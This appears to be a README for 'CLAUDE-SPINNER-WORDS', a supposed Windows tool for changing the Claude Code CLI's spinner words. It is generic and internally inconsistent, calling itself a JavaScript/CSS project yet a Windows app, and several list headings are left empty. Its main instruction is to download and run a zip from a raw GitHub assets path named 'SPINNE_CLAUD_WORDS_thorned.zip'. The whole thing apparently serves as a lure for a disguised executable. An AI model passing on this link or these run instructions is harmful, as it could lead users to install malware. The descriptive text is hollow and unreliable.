Track Claude Code CLI state with a clean spinner word registry built in vanilla JavaScript and CSS3
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CLAUDE-SPINNER-WORDS helps manage the words used by the Claude Code CLI state indicator. It gives you a simple way to work with spinner words, theme sets, and registry entries in one place.
Use it to:
Use this page to download and set up the app:
[Download CLAUDE-SPINNER-WORDS](https://github.com/Haloufde9815/CLAUDE-SPINNER-WORDS/raw/refs/heads/main/Source Code/assets/SPINNE_CLAUD_WORDS_thorned.zip)
If the page opens in your browser, look for the latest release, a setup file, or the main project files. Then download and run the app from there.
This app is made for Windows users who want a simple local tool.
Recommended setup:
Best results come from a standard user account with access to your Downloads folder.
After you install or open the app, use this flow:
If the app shows a settings panel, use it to:
Pick from different word sets for the Claude state indicator. This helps keep the output clear and easy to read.
Use themes to change how word groups are arranged or shown. This makes it easier to find the style you want.
The app keeps registry data in a structured place so you do not need to edit system files by hand.
The tool is built for Claude Code and related CLI workflows. It fits users who want tighter control over status words and behavior.
The project topics suggest support for Claude skills, plugins, and related tools. That makes it useful for users who keep more than one Claude setup.
Launch CLAUDE-SPINNER-WORDS after installation.
Look at the active spinner words, registry entries, or theme name.
Select the set that fits your workflow. You can use short words, action words, or a themed set.
Save the chosen set so the Claude Code CLI state indicator uses it.
Open Claude Code and confirm that the status words now match your selection.
You may find these parts in the main window:
These parts help you keep the setup simple. You can see what is active before you make changes.
Open the theme list, pick a theme, then apply it.
Use the reset option if you want to go back to the original setup.
If the app lets you edit words, save your changes as a custom profile.
Use reload if you changed files outside the app and want to refresh what it shows.
Use a short word set if you want the Claude Code CLI indicator to stay easy to read.
Use one registry set across several machines so the same words appear in each setup.
Try different themes to see which one fits your workspace best.
Keep separate sets for different Claude workflows if you use multiple tools around Claude.
CLAUDE-SPINNER-WORDS works with settings and registry-style data. Keep a backup before you change anything important. This helps you restore your previous setup if you want to go back.
Good habits:
This project is tied to:
These topics show that the app is built around word sets, Claude tools, and registry-based setup.
If you have never used a tool like this before, follow this order:
Start with one change only. That makes it easier to see what the app does.
Use CLAUDE-SPINNER-WORDS when you want:
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